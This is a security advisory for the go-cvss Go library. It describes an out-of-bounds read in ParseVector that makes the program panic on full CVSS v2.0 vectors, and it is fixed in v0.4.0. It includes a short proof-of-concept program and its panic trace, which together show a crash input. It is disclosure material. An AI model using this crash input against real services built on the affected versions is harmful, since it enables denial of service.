GHSA-xhmf-mmv2-4hhx Go-CVSS has Out-of-bounds Read vulnerability in ParseVector function

• Go github.com/pandatix/go-cvss: >= 0.2.0, < 0.4.0 → fixed in 0.4.0

Impact When a full CVSS v2.0 vector string is parsed using `ParseVector`, an Out-of-Bounds Read is possible due to a lack of tests. The Go module will then panic. Patches The problem is patched in tag `v0.4.0`, by the commit `d9d478ff0c13b8b09ace030db9262f3c2fe031f4`. Workarounds The only way to avoid it is by parsing CVSS v2.0 vector strings that does not have all attributes defined (e.g. `AV:N/AC:L/Au:N/C:P/I:P/A:C/E:U/RL:OF/RC:C/CDP:MH/TD:H/CR:M/IR:M/AR:M`). References N/A CPE v2.3 As stated in SECURITY.md, the CPE v2.3 to refer to this Go module is `cpe:2.3:a:pandatix:go_cvss:*:*:*:*:*:*:*:*`. The entry has already been requested to the NVD CPE dictionnary. Exploit example ```go package main import ( "log" gocvss20 "github.com/pandatix/go-cvss/20" ) func main() { _, err := gocvss20.ParseVector("AV:N/AC:L/Au:N/C:P/I:P/A:C/E:U/RL:OF/RC:C/CDP:MH/TD:H/CR:M/IR:M/AR:M") if err != nil { log.Fatal(err) } } ``` When ran, the following trace is returned. ``` panic: runtime error: index out of range [3] with length 3 goroutine 1 [running]: github.com/pandatix/go-cvss/20.ParseVector({0x4aed6c?, 0x0?}) /home/lucas/go/pkg/mod/github.com/pandatix/[email protected]/20/cvss20.go:54 +0x578 main.main() /media/lucas/HDD-K/Documents/cve-2022-xxxxx/main.go:10 +0x25 exit status 2 ``` For more information If you have any questions or comments about this advisory: • Open an issue in pandatix/go-cvss • Email me at [email protected]